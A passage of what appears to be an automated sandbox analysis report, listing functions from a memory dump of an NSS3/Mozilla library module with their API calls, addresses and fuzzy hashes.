LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CBFDE77

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 5dcd6b780a81f531accd110bfb40e2d2ee9eb68c49bc646db9216f4b87ed1c43
Instruction ID: c07fff06f1cd763f9555ef1e228d826562264223dd319b13ce405efda388293a
Opcode Fuzzy Hash: 5dcd6b780a81f531accd110bfb40e2d2ee9eb68c49bc646db9216f4b87ed1c43
Instruction Fuzzy Hash: E9715471A00314CBDF10CFAAD584A8DB7B4FF49718F25816DD969ABB02D730A90ACF91

Function 6CB6DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CB6AB10: DeleteCriticalSection.KERNEL32(D958E852,6CB71397,5B5F5EC0,?,?,6CB6B1EE,2404110F,?,?), ref: 6CB6AB3C
Part of subcall function 6CB6AB10: free.MOZGLUE(D958E836,?,6CB6B1EE,2404110F,?,?), ref: 6CB6AB49
Part of subcall function 6CB6AB10: DeleteCriticalSection.KERNEL32(5D5E6CD6), ref: 6CB6AB5C
Part of subcall function 6CB6AB10: free.MOZGLUE(5D5E6CCA), ref: 6CB6AB63
Part of subcall function 6CB6AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CB6AB6F
Part of subcall function 6CB6AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CB6AB76

TlsGetValue.KERNEL32(?,?,6CB6B266,6CB715C6,?,?,6CB715C6), ref: 6CB6DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CB6B266,6CB715C6,?,?,6CB715C6), ref: 6CB6DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CB6B266,6CB715C6,?,?,6CB715C6), ref: 6CB6E029
PK11_IsLoggedIn.NSS3 ref: 6CB6E046

Part of subcall function 6CB78F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB78FAF
Part of subcall function 6CB78F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB78FD1
Part of subcall function 6CB78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB78FFA
Part of subcall function 6CB78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB79013
Part of subcall function 6CB78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB79042
Part of subcall function 6CB78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB7905A
Part of subcall function 6CB78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB79073
Part of subcall function 6CB78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB79111

PR_Unlock.NSS3(?,?,?,?,6CB6B266,6CB715C6,?,?,6CB715C6), ref: 6CB6E149

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 12cff0422788206c7e329a232ce0aeea98eb550ce78e9c0c66fc1761164263d9
Instruction ID: 79547e67e11cb0e036df3bd2377084552cbdbcf227cabed88d7df61cfff4547e
Opcode Fuzzy Hash: 12cff0422788206c7e329a232ce0aeea98eb550ce78e9c0c66fc1761164263d9
Instruction Fuzzy Hash: E3514670600691CFDB109F6AC98476EBBF5FF44308F19885CD8998BB41E732E885CB92

Function 6CB7BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CB7BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB7BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CB59F71,?,?,00000000), ref: 6CB7BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB7BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB7C014

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: afed198babf536f892c6cf645d4ab3fa729ec4f8c715bead5f53af5234380cfa
Instruction ID: 96969702c9b2265fe63b8d5402e6422328ebcadf8713b46e2d520cc328699c33
Opcode Fuzzy Hash: afed198babf536f892c6cf645d4ab3fa729ec4f8c715bead5f53af5234380cfa
Instruction Fuzzy Hash: 7941C271A012459BEF20CE66C854BAE73B9EF44608F504128EC29DBB41FB31E845CFE2

Function 6CB4EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB4EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CB4EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CB4EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB4EEEB
free.MOZGLUE(?), ref: 6CB4EEF6

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: f92e1626ac04ab07088c07df02572b1503194bae1fdf6198a52988ed62573225
Instruction ID: 45dddbdc51861f421e1daa8e5bffbf0f689edffd3afa40515244ceda3299db0c
Opcode Fuzzy Hash: f92e1626ac04ab07088c07df02572b1503194bae1fdf6198a52988ed62573225
Instruction Fuzzy Hash: 3B314371A482C0ABEB20DF68DC44F6ABBB4FB06304F004528E85A87A54E731E814DBD2

Function 6CB61F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB61F1C

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CC79EBC), ref: 6CB61FB8
SEC_ASN1EncodeItem_Util.NSS3(6CC79E9C,?,?,6CC79E9C), ref: 6CB6200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB62020

Part of subcall function 6CB56A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CB5AD50,?,?), ref: 6CB56A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB62030

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 498dd410fa6b104628ab0114ae537bbc98d954cf2269f67a0e5a28f9f4243b08
Instruction ID: ef65a7529ddd1e6bb22f864917038c29b4e8b2e741adb82cfaa221cc1fe17758
Opcode Fuzzy Hash: 498dd410fa6b104628ab0114ae537bbc98d954cf2269f67a0e5a28f9f4243b08
Instruction Fuzzy Hash: 9221F875901582BBEB114E16DC40FAA776CFF5235CF180215E82896F90F731E528CBA3

Function 6CB91EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CB76295,?,00000000,00000000,00000001,6CB92653,?), ref: 6CB91ECB

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CB76295,?,00000000,00000000,00000001,6CB92653,?), ref: 6CB91EF1
EnterCriticalSection.KERNEL32(?), ref: 6CB91F01
PR_SetError.NSS3(00000000,00000000), ref: 6CB91F39

Part of subcall function 6CB9FE20: TlsGetValue.KERNEL32(6CB75ADC,?,00000000,00000001,?,?,00000000,?,6CB6BA55,?,?), ref: 6CB9FE4B
Part of subcall function 6CB9FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB9FE5F

PR_Unlock.NSS3(?), ref: 6CB91F67

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: 163dd24a39a70ee4268d1c5646d63cf456444ae3639c31ed93a77ce33194265d
Instruction ID: 5ea1d193b9699c4b69b13b7d9c2e0bcdee43d995d61585423ef4ba0966e3f7a3
Opcode Fuzzy Hash: 163dd24a39a70ee4268d1c5646d63cf456444ae3639c31ed93a77ce33194265d
Instruction Fuzzy Hash: E8213475A00288ABEF009F29EC44B9A377DEF42368F180070FC1987B01E730D94497E1

Function 6CB51DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB51E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CB51E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB51E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CB51E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CB51EAD

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 1ea0eaa08ad82a420c399f21b1eebbaf27ff790601d275107a4818a45c4d75da
Instruction ID: 911504a670725d504082452d28fe64c647c525cd89db91111f7ec49c93185061
Opcode Fuzzy Hash: 1ea0eaa08ad82a420c399f21b1eebbaf27ff790601d275107a4818a45c4d75da
Instruction Fuzzy Hash: 32210372F04391ABD7009E68DC40B9FB3A4DB84328F984638ED6D67780E730D91987D2

Function 6CC61E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CC61E5C

Part of subcall function 6CC19BF0: TlsGetValue.KERNEL32(?,?,?,6CC60A75), ref: 6CC19C07

PR_Lock.NSS3(00000000), ref: 6CC61E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC61EAB
PR_GetCurrentThread.NSS3 ref: 6CC61ED0
PR_Unlock.NSS3(?), ref: 6CC61EE8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: b2e6792d78609102f28f9b6e47315a83545053e1b9012822103d82837e7bcff5
Instruction ID: 999465c29b23f6f622b6dd23d7739dabef6014da0582e8d3919244ae8bdc7114
Opcode Fuzzy Hash: b2e6792d78609102f28f9b6e47315a83545053e1b9012822103d82837e7bcff5
Instruction Fuzzy Hash: D821BD74A04512ABD710CF2FDA84A06B7B0FF45719B258229D8198BF40E730F951CBD1

Function 6CBABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CB5E708,00000000,00000000,00000004,00000000), ref: 6CBABE6A

Part of subcall function 6CBB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB604DC,?), ref: 6CBABE7E

Part of subcall function 6CBAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBA8D2D,?,00000000,?), ref: 6CBAFB85
Part of subcall function 6CBAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBAFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CB604DC,?,?), ref: 6CBABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CBABEEB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 3dde252efc56135047887bc838824b01f7d4146b3639464e262d459b5505f85e
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: BA11D07660C2C977EA0089E5AC80B6B776DDB44758F084125EEA496A52F732D80687A2

Function 6CB5AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CB53FFF,00000000,?,?,?,?,?,6CB51A1C,00000000,00000000), ref: 6CB5ADA7

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CB53FFF,00000000,?,?,?,?,?,6CB51A1C,00000000,00000000), ref: 6CB5ADB4

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CB53FFF,?,?,?,?,6CB53FFF,00000000,?,?,?,?,?,6CB51A1C,00000000), ref: 6CB5ADD5

Part of subcall function 6CBAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBA8D2D,?,00000000,?), ref: 6CBAFB85
Part of subcall function 6CBAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CC794B0,?,?,?,?,?,?,?,?,6CB53FFF,00000000,?), ref: 6CB5ADEC

Part of subcall function 6CBAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC818D0,?), ref: 6CBAB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB53FFF), ref: 6CB5AE3C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: b680d5216f53fc6f0a3c3d82bf46a63be4b6df980c53f7f84d971438efcda83b
Instruction ID: d486b9eda1286c9d779d3359a222061e1297b839c24718c97e5caec76ff990d8
Opcode Fuzzy Hash: b680d5216f53fc6f0a3c3d82bf46a63be4b6df980c53f7f84d971438efcda83b
Instruction Fuzzy Hash: 24115971E002841BE7109F659C00BBF77B8DF5124CF444128EC19A6741FB20E96986F3

Function 6CB78E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CB92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB64F1C), ref: 6CB78EA2

Part of subcall function 6CB9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CB9F854
Part of subcall function 6CB9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CB9F868
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CB9F882
Part of subcall function 6CB9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CB9F889
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CB9F8A4
Part of subcall function 6CB9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CB9F8AB
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CB9F8C9
Part of subcall function 6CB9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CB9F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CB92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB64F1C), ref: 6CB78EC3
TlsGetValue.KERNEL32(?,?,?,6CB92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB64F1C), ref: 6CB78EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CB92E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB78EF1
PR_Unlock.NSS3 ref: 6CB78F20

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 9a812bae6d33fbba298aa363dca3f7b0c641d5b345e2e67b4a36f04c3953e257
Instruction ID: 1ea929d732f6c4659890f8c8f24262e95dc0ffdbb6c0e0f6380bf12bea960a57
Opcode Fuzzy Hash: 9a812bae6d33fbba298aa363dca3f7b0c641d5b345e2e67b4a36f04c3953e257
Instruction Fuzzy Hash: 50218D709096459FDB10AF29D48459DBBF0FF48328F01456EECA8ABB40D731E854CBE2

Function 6CB728A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB680DD), ref: 6CB728BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CB680DD), ref: 6CB728D3
PR_Unlock.NSS3(?,?,?,?,?,6CB680DD), ref: 6CB728E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CB680DD), ref: 6CB7290E
free.MOZGLUE(?,?,?,?,?,?,6CB680DD), ref: 6CB7291A

Part of subcall function 6CB69270: DeleteCriticalSection.KERNEL32(?,?,6CB75089,?,6CB73B70,?,?,?,?,?,6CB75089,6CB6F39B,00000000), ref: 6CB6927F
Part of subcall function 6CB69270: free.MOZGLUE(?,?,6CB73B70,?,?,?,?,?,6CB75089,6CB6F39B,00000000), ref: 6CB69286
Part of subcall function 6CB69270: PL_HashTableDestroy.NSS3(?,6CB73B70,?,?,?,?,?,6CB75089,6CB6F39B,00000000), ref: 6CB69292

Part of subcall function 6CB68B50: TlsGetValue.KERNEL32(00000000,?,6CB70948,00000000), ref: 6CB68B6B
Part of subcall function 6CB68B50: EnterCriticalSection.KERNEL32(?,?,?,6CB70948,00000000), ref: 6CB68B80
Part of subcall function 6CB68B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CB70948,00000000), ref: 6CB68B8F
Part of subcall function 6CB68B50: PR_Unlock.NSS3(?,?,?,?,6CB70948,00000000), ref: 6CB68BA1
Part of subcall function 6CB68B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CB70948,00000000), ref: 6CB68BAC
Part of subcall function 6CB68B50: free.MOZGLUE(?,?,?,?,?,6CB70948,00000000), ref: 6CB68BB8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
